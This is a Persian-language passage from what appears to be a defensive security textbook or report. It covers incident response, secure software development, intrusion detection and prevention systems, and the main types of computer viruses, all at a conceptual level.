مركزي تمام فعاليت ها و ارتباطات گروه عمل مي كند. نماينده قانوني با آگاه شدن از وضعيت موجـود و  

راهنمايي هايي داده شده به وي، به خانه برمـي گـردد تـا ابتـداي صـبح بـه محـل برگـردد. پرسـنل بخـش           

وري شده و شامل ديتاي حاصل از سيسـتم تحـت نفـوذ    مهندسي و امنيت، اطلاعاتي را كه تا كنون جمع آ

بررسي مي كنند. اين اطلاعات روي بستر يك شبكه مجزا بررسي و تحليل مي شود تـا    قرار گرفته است،

  نفوذگر، ابزار حمله و روش هايي ممكن براي بستن آسيب پذيري در كل سازمان مشخص شود. 

روز رساني پيشرفت كار دوباره دور هم جمع مـي  ه رور و بدقيقه از آغاز، گروه براي م 141با سپري شدن 

اسـتفاده كـرده    dial-upبيگانه جعلي از طريـق اتصـال    IPشوند. مشخص شده است كه نفوذگر از يك 

است و فقط قادر به دستيابي به همان سيستم بوده است. بررسي كامل شبكه احتياج به اين دارد كه سرورها 

ساعت زمان نياز دارد. گروه بـا مشـورت و تصـويب مـديريت ارشـد،       6ليات از شبكه جدا شوند و اين عم

  تصميم به اين بررسي مي گيرد اما بعد از بسته شدن سازمان در انتهاي روز كاري بعد.
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هنگامي كه روز كاري آغاز مي شود، فعاليت ها به بيرون فاش مي شود و فردي كـه سيسـتمش مـورد    

ر مي گيرد و سيستم مورد نفـوذ پاكسـازي مـي گـردد و بـه افـراد ارشـد        نفوذ قرار گرفته مورد مصاحبه قرا

گزارشها بصورت خلاصه ارائه مي شود. بهرحال، عمليات امداد به اوج خود مي رسد و مرتفع سازي آغاز 

  رويداد برطرف شده است و گزارش نهايي روز بعد آماده خواهد شد.  23مي شود. تا ساعت 

 2تندسازي تهديد بوجود آمده و عمليات آني اصرار مي ورزند كه بايد كساني هستند كه به فوريت مس

ساعت اضافه نيز براي آنها ديد. براي سازمان شما، ممكن است چنين مـوردي رخ دهـد، و شـما بخواهيـد     

اولين گام بعد از تعيين رويداد، جداسازي يكطرفه و ناگهاني از شبكه و سيستم ها باشد. اما در اين حالـت  

حفظ عمليـات عـادي بـراي يـك روز كامـل كـاري بـود،         ،يت انتخاب يك روند سيستماتيكخاص، مز

(بجاي خاموش كردن كل سيستم سازمان براي يك روز كاري) كه نتيجه آن نيم دوجين افراد خسته، چند 

. از نظر ساعت كار جبراني و اضافه كاري و خاموش بودن تنها يك سيستم در طول يك روز كاري بـود 

گير اين عمليات، هزينه اي كه توسط اين روش صرفه جويي شد، ارزش ريسك افراد در

  را داشت.

 نرم افزارهادر توليد امنيت  -4

   
Wi-Fi  مشــكلات امنيتــي دارد. همچنــينMicrosoft Outlook ،لينــوكس، تلفــن هــاي هوشــمند !

  مرورگر موزيلا و بسياري چيزهاي ديگر، اما عامل مشترك ميان آنها چيست؟ 

  فزار.نرم ا

آنهـا هسـتيم، راه حلـي     وصله هاي امنيتي و فايروال هايي كه ما شـيفته   نرم افزار مسائل امنيتي دارد و 

  روز نگهداشتن امنيت نرم افزارها ندارند.ه براي ب

امروزه، در حال توليد ميزان انبوهي از نرم افزارها هستيم و سيستم هاي محاسباتي و شبكه هاي خود را 

نيم. اما متاسفانه در همين زمان، توانايي بسـتن شـكاف هـاي امنيتـي انـدكي هـم پيشـرفت        پيچيده تر مي ك

نداشته است. بسادگي مشخص است كه بايد در روش هاي توليد و توسعه نرم افزار چنـدين تغييـر اساسـي    

  ايجاد كنيم و اين روند را بهبود بخشيم.
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اينجا، جايي است كه امنيت نرم افزار مطرح مي شـود. امنيـت نـرم افـزار يـك نظـام جـوان اسـت كـه          

خصوصيات امنيتي نرم افزار را هنگامي كه در حال طراحي، آزمـايش، پيـاده سـازي و بكـارگيري اسـت،      

 Software Developmentني توليـد نـرم افـزار يـا     مورد خطاب قرار مي دهد. يعني در دوره زمـا 

Life Cycle )SDLC اين شامل فعاليت هاي امنيتي زيادي در مراحل مختلف در .(SDLC مانند مدل ،

  كردن تهديد، مديريت خطر و آزمايش هاي امنيتي است.

نندگان نرم يك عامل مهم كه كه به شكلي اين مسئله را بغرنج تر مي كند اين واقعيت است كه توليدك

بـر اولويـت هـاي خـويش تمركـز        تمايل دارند كه كاملاً مستقل از يكديگر ITافزار و گروه هاي امنيت 

كنند. توليد نرم افزار عموماً تلاشش را روي مسائلي چون كـارايي و كارامـدي نـرم افـزار، هزينـه و غيـره       

  متمركز مي كند. و البته مطمئناً اينها عناوين مهمي هستند.

معمولاً امنيت يك برنامه را بعد از اينكه نوشته شد، مورد توجه قرار  ITف ديگر، تيم هاي امنيت از طر

مي دهند. آنها بدنبال روش هايي براي مجزا كردن نرم افزار با ابزار تكنولوژي مانند فايروال ها، شبكه هاي 

آن را امنيت نرم افـزار مـي    خصوصي مجازي و غيره هستند ــ رويكردي كه انجمن امنيت نرم افزار عموماً

  نامد. 
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مشاهده مي كنيد كه اين نوع رويكرد امنيت نرم افزار تمايل دارد كه غالباً واكنشي باشد، بدون اينكه بطور 

كافي علل ريشه اي مشكلات را مورد توجه قرار دهد. همين نوع برخورد است كه باعث وضعيت جـاري  

  است كه امروزه در مراكز ديتاي خود با آن مواجه هستيم. است، و تا حد زيادي مسوول مسائل امنيتي

از نظر زماني نگاهي بيندازيد، پـي خواهيـد بـرد كـه توليدكننـدگان نـرم افـزار          SDLCاگر شما به روند 

در طرف راست و با همپوشاني بسياري كمي قرار دارند.  ITعموماً در طرف چپ نمودار و اعضاي امنيت 

، دو طرف نمودار را داشـته انـد معتقدنـد كـه مـي تـوان بـراي بهبـود وضـعيت         كساني كه شانس بودن در 

  كارهاي زيادي انجام داد بشرطي كه بين دو طرف تا حدي اشتراك منابع انجام گيرد.

   

   
   

هاد كه براي بهبود امنيت نرم افزارها، از اولـين مراحـل ممكـن، مـي تـوانيم انجـام       در اينجا چندين پيشن

  دهيم، آورده شده است:

خود را تا جايي كه امكـان دارد از اولـين مراحـل طراحـي،      ITتوليد كنندگان نياز دارند كه تيم امنيت -   ·

ي تصميم بگيريـد، انديشـيدن   درگير كنند. هنگامي كه شما سعي خود را مي كنيد تا در مورد ساخت چيز

در مورد نحوه سوءاستفاده يا تخريب آن آسان نيست. شما مجبوريد مانند يك شخص امنيتـي فكـر كنيـد.    

شما، فعاليت حرفه اي خود را برروي مطالعـه نحـوه تخريـب چيزهـا سـپري       ITخوب، اعضاي تيم امنيت 

ر شما با چه نوع حملاتي ممكن اسـت مواجـه   كرده اند، و مي توانند به شما كمك كنند تا بفهميد نرم افزا

  شود.
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مشابهاً، به اعضاي تيم امنيت اجازه دهيد در طراحي تست هاي امنيتي به شما كمـك كننـد. و در اينجـا     -   ·

(فقط) منظور يك تست نفوذ يك هفته قبل از بكارگرفتن نرم افزار نيست! منظور انجام تمـام تسـت هـاي    

  رد نرم افزارها انجام مي دهيد.بسيار جدي است كه شما در مو

به تاكتيك هايي كه تيم عمليات مي تواند براي افزايش امنيت نرم افزار شـما بكـارگيرد، توجـه كنيـد.      -   ·

در ويندوز) يا اجزاء ديگري كه كاملاً  DLL.براي مثال، آيا فايل ها، كتابخانه هاي اشتراكي (مثلا فايلهاي 

هستند، وجود دارند؟ تيم عمليات لزوماً نخواهد دانست كه آنها چـه هسـتند   براي امنيت نرم افزار شما مهم 

مگر اينكه شما به ايشان بگوييد. اين تيم با دانستن اينكه قسمت هاي باارزش و حياتي نرم افزار شـما كجـا   

قرار دارند، مي توانند كنترل دسترسـي بـه فايـل، ثبـت وقـايع (شـامل تشـخيص نفـوذ) را تضـمين كننـد و           

  ين هنگامي كه قسمتي دچار انحراف مي شود به افراد ذيصلاح اطلاع داده مي شود.همچن

بايد در مورد روندهاي ايجاد و توسعه نرم افزار سازمان شما، بياموزنـد. آنهـا بايـد     ITاعضاء تيم امنيت  -   ·

  بتوانند بطور هوشمندانه اي با تيم توليد نرم افزار گفتگو كنند.

ه امنيت نرم افزار صرف كنيد و ببينيد چه نقاط تماس امنيتي مي توانيد در دوره زمـاني  زماني براي مطالع-- ·

  توليد نرم افزار بگنجانيد تا بتوانيد از ابتدا تا انتهاي اين روند با امنيت در ارتباط باشيد. 

د مـي كننـد.   بيشتر آنچه گفته مي شود، اساساً مربوط به سازمانهايي است كه نرم افزارهـاي تجـاري را ايجـا    

امنيت نرم افزار، همانطور كه گفته شد، هنوز در مراحل خردسالي قـرار دارد. قصـد نـداريم كـه بـه نتـايج       

شگفت انگيزي در طول يك شب برسيم. بهرحال، تجربيات افراد خبره كه با سازمان هاي توليد نرم افـزار  

استفاده را در امنيت نرم افزار برد؛ مـدل   سروكار داشته اند، نشان مي دهد كه از دو ناحيه مي توان بيشترين

  كردن تهديد و تستهاي امنيتي بسيار سخت.

  اينها در دسترس ترين قسمت ها براي سرمايه گذاري هستند تا بتوانيم بيشترين بهبود را حاصل كنيم.

  

  )Intrusion Detectionتشخيص نفوذ ( -5
هت دسترسي غيرمجاز بـه يـك شـبكه يـا     تشخيص نفوذ عبارت است از پردازه تشخيص تلاشهايي كه ج

كاهش كارايي آن انجـام مـي شـوند.در تشـخيص نفـوذ بايـد ابتـدا درك صـحيحي از چگـونگي انجـام           
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روشي دو مرحله اي را براي متوقـف كـردن حمـلات     ،حملات پيدا كرد. سپس بنابر درك بدست آمده

تشخيص داده شده اسـت. دوم   برگزيد. اول اين كه مطمئن شويد كه الگوي عمومي فعاليتهاي خطرناك

طبقـه بنـدي مشـترك حمـلات نمـي            اين كه اطمينان حاصل كنيد كه با حـوادث مشخصـي كـه در   

) بـر  IDSگنجند، به سرعت رفتار مي شود.به همين دليل است كـه بيشـتر سيسـتم هـاي تشـخيص نفـوذ (      

تهديـدات شـبكه بـه     مكانيزمهايي جهت بروزرساني نرم افزارشان متكي هستند كـه جهـت جلـوگيري از   

اندازه كافي سريع هستند. البته تشخيص نفوذ به تنهايي كافي نيست و بايد مسـير حملـه را تـا هكـر دنبـال      

  كرد تا بتوان به شيوه مناسبي با وي نيز برخورد كرد.

  انواع حملات شبكه اي با توجه به طريقه حمله  5-1

لات شبكه اي را مي تـوان بسـته بـه چگـونگي     يك نفوذ به شبكه معمولا يك حمله قلمداد مي شود. حم

انجام آن به دو گروه اصلي تقسيم كرد. يـك حملـه شـبكه اي را مـي تـوان بـا هـدف نفـوذگر از حملـه          

 Denial ofيـا   DOSتوصـيف و مشـخص كـرد. ايـن اهـداف معمـولا از كـار انـداختن سـرويس (         

Service.يا دسترسي غيرمجاز به منابع شبكه است (  

   
  كار انداختن سرويس حملات از5-2
در اين نوع حملات ، هكر استفاده از سرويس ارائه شده توسط ارائه كننده خدمات بـراي كـاربرانش را    

مختل مي كند. در اين حملات حجم بالايي از درخواست ارائه خدمات به سـرور فرسـتاده مـي شـود تـا      

ه درخواسـتهاي بـي شـمار هكـر     امكان خدمات رساني را از آن بگيرد. در واقع سـرور بـه پاسـخگويي ب ـ   

  مشغول مي شود و از پاسخگويي به كاربران واقعي باز مي ماند.

   
  حملات دسترسي به شبكه 5-3

در اين نوع از حملات، نفوذگر امكان دسترسي غيرمجاز به منابع شبكه را پيدا مـي كنـد و از ايـن امكـان     

ي كنـد. بـراي مثـال از شـبكه بـه عنـوان مبـدا        براي انجام فعاليتهاي غيرمجاز و حتي غيرقانوني اسـتفاده م ـ 
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خود استفاده مي كند تا درصورت شناسايي مبدا، خود گرفتار نشود. دسترسي به شبكه را  DOSحملات 

  مي توان به دو گروه تقسيم كرد.

دسترسي به داده : در اين نوع دسترسي ، نفوذگر به داده موجـود بـر روي اجـزاء شـبكه دسترسـي       –الف

ا مي كند. حمله كننده مي تواند يك كاربر داخلي يا يك فرد خارج از مجموعه باشـد. داده  غيرمجاز پيد

هاي ممتاز و مهم معمولا تنها در اختيار بعضي كاربران شبكه قرار مي گيرد و سـايرين حـق دسترسـي بـه     

امـا مـي تـوان    آنها را ندارند. در واقع سايرين امتياز كافي را جهت دسترسي به اطلاعات محرمانه ندارند، 

با افزايش امتياز به شكل غير مجاز به اطلاعات محرمانه دسترسي پيدا كرد. اين روش به تعـديل امتيـاز يـا    

Privilege Escalation .مشهور است  

دسترسي به سيستم : اين نوع حمله خطرناكتر و بدتر است و طي آن حمله كننده بـه منـابع سيسـتم و     -ب

د. اين دسترسي مي تواند شامل اجراي برنامه ها بر روي سيستم و بـه كـار   دستگاهها دسترسي پيدا مي كن

گيري منابع آن در جهت اجراي دستورات حمله كننده باشد. همچنين حمله كننده مي تواند به تجهيزات 

 Bruteشبكه مانند دوربينها ، پرينترها و وسايل ذخيره سازي دسترسي پيدا كند. حملات اسب ترواها ، 

Force  يا استفاده از ابزارهايي جهت تشخيص نقاط ضعف يك نرم افزار نصب شده بـر روي سيسـتم   و

  از جمله نمونه هاي قابل ذكر از اين نوع حملات هستند. 

و دسترسـي بـه شـبكه انجـام مـي شـود، شناسـايي يـا          DoSفعاليت مهمي كه معمـولا پـيش از حمـلات    

reconnaissance هتي افتن حفره هـاي امنيتـي و نقـاط ضـعف     است. يك حمله كننده از اين فاز ج

شبكه استفاده مي كند. اين كار مي تواند بـه كمـك بعضـي ابزارهـا آمـاده انجـام پـذيرد كـه بـه بررسـي           

پورتهاي رايانه هاي موجود بر روي شبكه مي پردازند و آمادگي آنها را جهت انجام حملات مختلف بـر  

  روي آنها بررسي مي كنند.

   
  شبكه اي با توجه به حمله كننده انواع حملات 5-4 

  حملات شبكه اي را مي توان با توجه به حمله كننده به چهار گروه تقسيم كرد :
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ــرين و    5-4-1 ــه يكــي از مهمت ــي) : ايــن حمل حمــلات انجــام شــده توســط كــاربر مــورد اعتمــاد (داخل

دارد و از خطرناكترين نوع حملات است، چون از يك طرف كـاربر بـه منـابع مختلـف شـبكه دسترسـي       

  نمي كنند. طرف ديگر سياستهاي امنيتي معمولا محدوديتهاي كافي درباره اين كاربران اعمال

حملات انجام شده توسط افراد غير معتمد (خارجي) : اين معمولترين نوع حمله است كـه يـك     5-4-2

ولا سخت ترين راه كاربر خارجي كه مورد اعتماد نيست شبكه را مورد حمله قرار مي دهد. اين افراد معم

  را پيش رو دارند زيرا بيشتر سياستهاي امنيتي درباره اين افراد تنظيم شده اند

حملات انجام شده توسط هكرهاي بي تجربه : بسياري از ابزارهاي حمله و نفوذ بر روي اينترنت    5-4-3

سـتفاده از ابزارهـاي آمـاده    وجود دارند. در واقع بسياري از افراد مي توانند بدون تجربه خاصي و تنها با ا

  براي شبكه ايجاد مشكل كنند.

حملات انجام شده توسط كـاربران مجـرب : هكرهـاي بـا تجربـه و حرفـه اي در نوشـتن انـواع           5-4-4

كدهاي خطرناك متبحرند. آنها از شبكه و پروتكلهاي آن و همچنين از انواع سيستم هاي عمـل آگـاهي   

ارهايي توليد مي كنند كه توسط گروه اول به كار گرفته مي شوند. آنهـا  كامل دارند. معمولا اين افراد ابز

  معمولا پيش از هر حمله ، آگاهي كافي درباره قرباني خود كسب مي كنند.

   
  پردازه تشخيص نفوذ 5-5

تا بحال با انواع حمـلات آشـنا شـديم. حـال بايـد چگـونگي شناسـايي حمـلات و جلـوگيري از آنهـا را           

  دو روش اصلي براي تشخيص نفوذ به شبكه ها مورد استفاده قرار مي گيرد: بشناسيم. امروزه 

1-    IDS مبتني بر خلاف قاعده آماري  

2-   IDS مبتني بر امضا يا تطبيق الگو  

روش اول مبتني بر تعيين آستانه انواع فعاليتها بر روي شبكه است، مـثلا چنـد بـار يـك دسـتور مشـخص       

) اجرا مي شـود.لذا در صـورت بـروز يـك نفـوذ      hostيك ميزبان (توسط يك كاربر در يك تماس با 

امكان تشخيص آن به علت خلاف معمول بودن آن وجود دارد. اما بسياري از حملات به گونه اي هستند 

  كه نمي توان براحتي و با كمك اين روش آنها را تشخيص داد.
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مبتني بر امضا يا  IDSرفته مي شود، در واقع روشي كه در بيشتر سيستمهاي موفق تشخيص نفوذ به كار گ

تطبيق الگو است.منظور از امضا مجموعه قواعدي است كه يـك حملـه در حـال انجـام را تشـخيص مـي       

دهد. دستگاهي كه قرار است نفوذ را تشخيص دهد با مجموعه اي از قواعد بارگذاري مي شود.هر امضـا  

ال عبور بايد به دنبـال چـه فعاليتهـايي گشـت.     داراي اطلاعاتي است كه نشان مي دهد در داده هاي در ح

هرگاه ترافيك در حال عبور با الگوي موجود در امضا تطبيق كند، پيغام اخطار توليـد مـي شـود و مـدير     

علاوه بر آگاه كـردن مـدير شـبكه،     IDSشبكه را از وقوع يك نفوذ آگاه مي كند. در بسياري از موارد 

يا با كمك يك فايروال و انجام عمليات كنتـرل دسترسـي بـا نفـوذ     اتصال با هكر را بازآغازي مي كند و 

  بيشتر مقابله مي كند.

  اما بهترين روش براي تشخيص نفوذ ، استفاده از تركيبي از دو روش فوق است. 

 مقايسه تشخيص نفوذ و پيش گيري از نفوذ 5-6

   
ت عليه هر بخش از ) اين است كه تمام حملاIntrusion Preventionايده پيش گيري از نفوذ (

محيط محافظت شده توسط روش هاي به كار گرفته شده ناكام بماند. اين روش ها مي تواننـد تمـام بسـته    

هاي شبكه را بگيرند و نيت آنها را مشخص كنند ـ آيا هركدام يك حمله هستند يا يك اسـتفاده قـانوني ـ     

   سپس عمل مناسب را انجام دهند.

  پيش گيريتشخيص با تفاوت شكلي 5-6-1
هرحـال، آنهـا ليسـت    ه در ظاهر، روش هاي تشـخيص نفـوذ و پـيش گيـري از نفـوذ رقيـب هسـتند. ب ـ       

بلندبالايي از عملكردهاي مشابه، مانند بررسي بسته داده، تحليل بـا توجـه بـه حفـظ وضـعيت، گـردآوري       

زاري براي رسيدن به عنوان ابه ، ارزيابي پروتكل و تطبيق امضاء دارند. اما اين قابليت ها بTCPبخش هاي 

 IPS  )Intrusion Preventionاهداف متفاوت در اين دو روش به كار گرفتـه مـي شـوند. يـك     

System ( مانند يك محافظ امنيتي در مدخل يك اجتمـاع اختصاصـي عمـل مـي     يا سيستم پيش گيري

ر مـي دهـد. يـك    كند كه بر پايه بعضي گواهي ها و قوانين يا سياست هاي از پيش تعيين شده اجـازه عبـو  

IDS )Intrusion Detection System     يا سيستم تشخيص مانند يـك اتومبيـل گشـت زنـي در (
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ميان اجتماع عمل مي كند كه فعاليت ها را به نمايش مي گذارد و دنبال موقعيت هاي غيرعادي مي گردد. 

ند و بررسي هـاي  بدون توجه به قدرت امنيت در مدخل، گشت زن ها به كار خود در سيستم ادامه مي ده

  مي دهند. خود را انجام 

  تشخيص نفوذ 5-6-2
هدف از تشخيص نفوذ نمايش، بررسي و ارائه گزارش از فعاليت شبكه اسـت. ايـن سيسـتم روي بسـته     

هاي داده كه از ابزار كنترل دسترسي عبور كرده انـد، عمـل مـي كنـد. بـه دليـل وجـود محـدوديت هـاي          

پيش گيري از نفوذ بايد به بعضي از  وجود شك و ترديد مورد نياز،  اطمينان پذيري، تهديدهاي داخلي و

) كـاهش  false positive( غلـط  موارد مشكوك به حمله اجازه عبور دهد تا احتمـال تشـخيص هـاي    

بـا هوشـمندي همـراه هسـتند و از تكنيـك هـاي مختلفـي بـراي          IDSروش هـاي    يابد. از طرف ديگـر، 

معمولاً به گونه اي از پهناي  IDSوء استفاده ها بهره مي گيرند. يك تشخيص حملات بالقوه، نفوذها و س

باند استفاده مي كند كه مي تواند بدون تأثير گذاشتن روي معماري هـاي محاسـباتي و شـبكه اي بـه كـار      

  خود ادامه دهد.

ست كه قدرت هدايت تحليل هوشمند جريان بسته ها را ايجـاد مـي كنـد.    ا آن چيزي IDSطبيعت منفعل 

  را در جايگاه خوبي براي تشخيص موارد زير قرار مي دهد: IDSهمين امر 

  حملات شناخته شده از طريق امضاءها و قوانين      �

  تغييرات در حجم و جهت ترافيك با استفاده از قوانين پيچيده و تحليل آماري      �

  تغييرات الگوي ترافيك ارتباطي با استفاده از تحليل جريان      �

  تشخيص فعاليت غيرعادي با استفاده از تحليل انحراف معيار      �

تشخيص فعاليت مشكوك با استفاده از تكنيك هاي آماري، تحليل جريان و تشـخيص خـلاف         �

  قاعده
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بعضي حملات تا درجه اي از يقين بسختي قابل تشخيص هستند، و بيشتر آنها فقـط مـي تواننـد توسـط     

ت غيرقطعي هستند تشخيص داده شوند. يعني اين روش ها براي تصميم گيري روش هايي كه داراي طبيع

  مسدودسازي براساس سياست مناسب نيستند.

    
   

  پيش گيري از نفوذ5-6-3
منظور محافظت از دارايي ها، منابع، داده و ه گيري از نفوذ ب چنانچه قبلاً هم ذكر شد، روش هاي پيش

شبكه ها استفاده مي شوند. انتظار اصلي از آنها اين است كه خطر حمله را با حذف ترافيـك مضـر شـبكه    

 - كاهش دهند در حاليكه به فعاليت صحيح اجازه ادامه كار مي دهند. هدف نهايي يك سيستم كامل است

) كه از بازدهي شبكه مي كاهد و نه عدم تشخيص حمله false positiveحمله (يعني نه تشخيص غلط 

)false negative كه باعث ريسك بي مورد در محيط شبكه شود. شايد يك نقش اساسي تر نياز به (

مطمئن بودن است؛ يعني فعاليت به روش مورد انتظار تحت هر شرايطي. بمنظور حصول اين منظور، روش 

  ) داشته باشند.deterministicبيعت قطعي (بايد ط IPSهاي 

اطمينان مورد نياز براي تصميم گيري هاي سخت را ايجاد مي كند. به اين معني كه  ،قابليت هاي قطعي

  روش هاي پيش گيري از نفوذ براي سروكار داشتن با موارد زير ايده آل هستند:
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شبكه ها و برنامـه هـاي اختصاصـي، بـا     برنامه هاي ناخواسته و حملات اسب ترواي فعال عليه       �

  استفاده از قوانين قطعي و ليست هاي كنترل دسترسي

  بسته هاي ديتاي متعلق به حمله با استفاده از فيلترهاي بسته داده اي سرعت بالا      �

  سوءاستفاده از پروتكل و دستكاري پروتكل شبكه با استفاده از بازسازي هوشمند      �

با استفاده از الگوريتم هاي فيلترينـگ   ICMPو  SYNمانند طغيان  DoS/DDoSحملات       �

  برپايه حد آستانه

سوءاستفاده از برنامه ها و دستكاري هاي پروتكل ـ حملات شناخته شده و شناخته نشده عليـه         �

HTTP ،FTP ،DNS ،SMTP و غيره با استفاده از قوانين پروتكل برنامه ها و امضاءها  

  باراضافي برنامه ها با استفاده از ايجاد محدوديت هاي مصرف منابع       �

تمام اين حملات و وضعيت آسيب پذيري كه به آنها اجازه وقوع مي دهد به خوبي مستندسازي شده  

اند. بعلاوه، انحرافات از پروتكل هاي ارتباطي از لايه شبكه تا لايه برنامه جايگاهي در هيچ گونه ترافيـك  

  رند. صحيح ندا

   
  نتيجه نهايي 5-6-4

مي تواند (و بايـد) از روش هـاي    IDSبه فلسفه جبرگرايي مي انجامد. يعني  IPSو  IDSتفاوت بين 

غيرقطعي براي استنباط هرنوع تهديد يا تهديد بالقوه از ترافيـك موجـود اسـتفاده كنـد. ايـن شـامل انجـام        

درد افـرادي  ه ب IDSهاي غيرعادي مي شود.  تحليل آماري از حجم ترافيك، الگوهاي ترافيك و فعاليت

  مي خورد كه واقعاً مي خواهند بدانند چه چيزي در شبكه شان در حال رخ دادن است.

بايد در تمام تصميماتش براي انجام وظيفه اش در پالايش ترافيك قطعيت داشته  IPSاز طرف ديگر، 

كنـد و در مـورد كنتـرل دسترسـي تصـميم       انتظار مي رود كه در تمام مدت كـار  IPSباشد. از يك ابزار 

 IPSگيري كند. فايروال ها اولين رويكرد قطعي را براي كنترل دسترسي در شبكه ها با ايجاد قابليت اوليه 

كردنـد و هنـوز در ايـن فعاليـت      قابليت نسل بعد را به اين فايروال ها اضافه  IPSفراهم كردند. ابزارهاي 

  نترل دسترسي ها مشاركت دارند.هاي قطعي در تصميم گيري براي ك
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 ويروس و ضدويروس -6

حجم عظـيم ويـروس هـا، كـرم هـا، ايـرادات نـرم افزارهـا و تهديـدهاي ناشـي از آنهـا، نـرم افزارهـاي              

ضدويروس را تبديل به يكي از ابزارهاي لازم براي همه كامپيوترها نموده است. در صورت آلـوده شـدن   

آن ممكن است مصائب مختلفي براي سيستم كامپيوتري بوجود آيـد  يك كامپيوتر به ويروس بسته به نوع 

كه در پاره اي موارد جبران آن ها هزينه هاي زيادي را تحميل مي كند. آسيب هاي بعضي از ويروس هـا  

به گونه اي است كه آثار سوء آن ها را به هيچ وجه نمي توان از بين برد. مستقل از نوع ويروسي كه بايد با 

شود نياز به برنامه هاي ضـد ويـروس همـواره وجـود دارد و در شـرايطي كـه محصـولات ضـد         آن مقابله 

  ويروس متنوعي توليد شده اند، انتخاب نرم افزار مناسب دغدغه كاربران مي باشد.

ضمن معرفي انواع ويروس ها، نحوه عمل كرد برنامه هاي ضدويروس و انواع ويروس هـايي   بخشاين 

و پاكسازي مي كنند را معرفي مي كند. همچنين اطلاعاتي كـه بـراي انتخـاب    كه ضدويروس ها شناسايي 

  خواهند شد. ابزار مناسب لازم است بيان شده و تعدادي از برنامه هاي ضد ويروس با هم مقايسه 

  

  

  ويروس چيست؟ 6-1

از يافتـه و پـس    ويروس هاي كامپيوتري برنامه هايي هستند كه مشابه ويروس هاي بيولوژيك گسترش 

وارد شدن به كامپيوتر اقدامات غيرمنتظره اي را انجام مي دهند. با وجودي كه همه ويروس هـا خطرنـاك   

نيستند، ولي بسياري از آنها با هدف تخريب انواع مشخصي از فايل ها، برنامه هاي كـاربردي و يـا سيسـتم    

  هاي عامل نوشته شده اند.

نابع سيستم مانند حافظه و فضاي ديسـك سـخت، تـوان    ويروس ها هم مشابه همه برنامه هاي ديگر از م 

پردازنده مركزي و ساير منابع بهره مي گيرند و مي توانند اعمال خطرناكي را انجام دهنـد بـه عنـوان مثـال     

فايل هاي روي ديسك را پاك كرده و يا كل ديسك سخت را فرمت كنند. همچنـين يـك ويـروس مـي     

  ريق شبكه و بدون احراز هويت فراهم آورد.تواند مجوز دسترسي به دستگاه را از ط
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در اين معنا توسط فـرد كـوهن در متـون آكادميـك مـورد      » ويروس«واژه  1984براي اولين بار در سال 

نام داشت نويسنده دسته اي » آزمايشاتي با ويروس هاي كامپيوتري«كه  بخشر اين  استفاده قرار گرفت. د

ين نام گذاري را به لئونارد آدلمن نسبت داده است. البته قبل از اين خاص از برنامه ها را ويروس ناميده و ا

  بودند. زمان ويروس ها در متن داستان هاي عملي و تخيلي ظاهر شده 

  انواع ويروس 6-2

  انواع ويروس هاي رايج را مي توان به دسته هاي زير تقسيم بندي نمود:

6-2-1 boot sector :  
 boot sector   اولينSector        بر روي فلاپي و يا ديسك سـخت كـامپيوتر اسـت. در ايـن قطـاع

كدهاي اجرايي ذخيره شده اند كه فعاليت كامپيوتر با استفاده از آنها انجام مي شود. با توجـه بـه اينكـه در    

مورد ارجـاع قـرار مـي گيـرد، و بـا هـر بـار تغييـر پيكربنـدي           Boot sectorهر بار بالا آمدن كامپيوتر 

هم مجددا نوشته مي شود، لذا اين قطاع مكاني بسيار آسـيب پـذير در    boot sectorي كامپيوتر محتوا

  برابر حملات ويروس ها مي باشد.

 Boot sectorآلوده دارند انتشار مي يابند.  bootاين نوع ويروس ها از طريق فلاپي هايي كه قطاع 

ار كـه كـامپيوتر روشـن مـي     آلوده شود توسط ويروس آلوده شده و هر ب  ديسك سخت كامپيوتري كه 

شود، ويروس خود را در حافظه بار كرده و منتظر فرصتي براي آلوده كردن فلاپي هـا مـي مانـد تـا بتوانـد      

خود را منتشر كرده و دستگاه هاي ديگري را نيز آلوده نمايد. اين گونه ويروس ها مي توانند به گونـه اي  

كردن كـامپيوتر از روي ديسـك سـخت از      bootان عمل كنند كه تا زماني كه دستگاه آلوده است امك

  بين برود.

سعي مي كنند كد اصلي را به قطـاعي ديگـر بـر     bootاين ويروس ها بعد از نوشتن بر روي متن اصلي 

) علامت گذاري مي Bad Sectorروي ديسك منتقل كرده و آن قطاع را به عنوان يك قطاع خراب (

  كند.
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6-2-2 :  

Macro viruses:  
نوع ويروس ها مستقيما برنامه ها را آلوده نمي كنند. هدف اين دسته از ويروس ها فايل هاي توليد  اين 

 Wordيـا   Exelشده توسط برنامه هايي است كه از زبان هاي برنامه نويسي مـاكرويي ماننـد مسـتندات    

ده با نامـه هـاي   ش استفاده مي كنند. ويروس هاي ماكرو از طريق ديسك ها، شبكه و يا فايل هاي پيوست 

  الكترونيكي قابل گسترش مي باشد. 

ويروس تنها در هنگامي امكان فعال شدن را دارد كه فايـل آلـوده بـاز شـود، در ايـن صـورت ويـروس        

شروع به گسترش خود در كامپيوتر نموده و ساير فايل هاي موجود را نيز آلوده مي نمايد. انتقال اين فايـل  

ا اشتراك فايل بين دسـتگاه هـاي مختلـف باعـث گسـترش آلـودگي بـه ايـن         ها به كامپيوتر هاي ديگر و ي

  ويروس ها مي شود.

6-2-3 :  

File infecting viruses:  
) را آلوده نموده و همزمان با اجراي اين برنامـه  com.و  exe.فايل هاي اجرايي (فايل هاي با پسوند  

د و آلوده كردن سـاير فايـل هـاي اجرايـي     ها خود را در حافظه دستگاه بار نموده و شروع به گسترش خو

سيستم مي نمايند. بعضي از نمونه هاي اين ويروس ها متن مورد نظر خود را به جاي متن فايل اجرايي قرار 

  مي دهند.

  

  

  :(Polymorphic)ويروس هاي چندريخت : 6-2-4
لگوريتم هاي كدگذاري اين ويروس ها در هر فايل آلوده به شكلي ظاهر مي شوند. با توجه به اينكه از ا

  استفاده كرده و ردپاي خود را پاك مي كنند، آشكارسازي و تشخيص اين گونه ويروس ها دشوار است. 

  ويروس هاي مخفي: : 6-2-5
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اين ويروس ها سعي مي كنند خود را از سيستم عامل و نرم افزارهـاي ضـدويروس مخفـي نگـه دارنـد.      

حائل دسترسي به سيسـتم عامـل مـي شـود. در ايـن صـورت        براي اين كار ويروس در حافظه مقيم شده و

ويروس كليه درخواست هايي كه نرم افزار ضدويروس به سيستم عامل مي دهد را دريافت مي كند. به اين 

ترتيب نرم افزارهاي ضدويروس هم فريب خورده و اين تصور به وجـود مـي آيـد كـه هـيچ ويروسـي در       

كاربر را هم فريب داده و استفاده از حافظـه را بـه صـورت مخفيانـه     كامپيوتر وجود ندارد. اين ويروس ها 

  مي دهند. انجام 

  ويروس هاي چندبخشي : 6-2-6
